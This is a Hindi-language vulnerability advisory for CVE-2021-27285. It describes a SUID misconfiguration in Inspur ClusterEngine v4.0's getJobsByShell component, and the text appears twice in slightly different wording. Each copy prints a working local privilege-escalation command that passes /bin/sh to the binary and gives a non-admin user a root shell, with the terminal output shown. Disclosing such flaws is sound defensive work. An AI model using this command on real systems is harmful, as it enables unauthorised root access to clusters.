CVE-2021-27285

Inspur ClusterEngine क्लस्टर प्रबंधन प्लेटफ़ॉर्म, Inspur TianSuo श्रृंखला के HPC उत्पादों के लिए विशेष रूप से डिज़ाइन किया गया एक जॉब प्रबंधन सॉफ़्टवेयर है। Inspur ClusterEngine में suid कॉन्फ़िगरेशन की अनुचित सेटिंग के कारण, गैर-प्रशासनिक उपयोगकर्ता कुछ घटकों के माध्यम से विशेषाधिकार वृद्धि करके रूट एक्सेस प्राप्त कर सकते हैं।

Inspur ClusterEngine v4.0 में कंपोनेंट "/opt/tsce4/torque6/bin/getJobsByShell" के साथ suid कॉन्फ़िगरेशन की अनुचित समस्या है, जिससे गैर-प्रशासनिक उपयोगकर्ता suid विशेषाधिकार वृद्धि के माध्यम से रूट एक्सेस प्राप्त कर सकते हैं।

विशेषाधिकार वृद्धि प्रक्रिया इस प्रकार है:

[inspur@mu01 ~]$ whoami
inspur
[inspur@mu01 ~]$ /opt/tsce4/torque6/bin/getJobsByShell /bin/sh
sh-4.2# whoami
root
sh-4.2#

सुधार सुझाव: संबंधित घटकों को अपग्रेड करें।

The Inspur ClusterEngine क्लस्टर प्रबंधन प्लेटफ़ॉर्म, Inspur TianSuo श्रृंखला के HPC उत्पादों के लिए विशेष रूप से डिज़ाइन किया गया एक जॉब प्रबंधन सॉफ़्टवेयर है। Inspur ClusterEngine के SUID सेटिंग्स में एक गलत कॉन्फ़िगरेशन के कारण, गैर-प्रशासनिक उपयोगकर्ता कुछ घटकों के माध्यम से विशेषाधिकार वृद्धि करके रूट एक्सेस प्राप्त कर सकते हैं।

Inspur ClusterEngine v4.0 में कंपोनेंट "/opt/tsce4/torque6/bin/getJobsByShell" के साथ SUID कॉन्फ़िगरेशन की एक अनुचित समस्या है, जो गैर-प्रशासनिक उपयोगकर्ताओं को SUID तंत्र के माध्यम से विशेषाधिकार वृद्धि करके रूट एक्सेस प्राप्त करने की अनुमति देती है।

विशेषाधिकार वृद्धि प्रक्रिया इस प्रकार है:

[inspur@mu01 ~]$ whoami
inspur
[inspur@mu01 ~]$ /opt/tsce4/torque6/bin/getJobsByShell /bin/sh
sh-4.2# whoami
root
sh-4.2#

सलाह: संबंधित घटकों को पैच करें।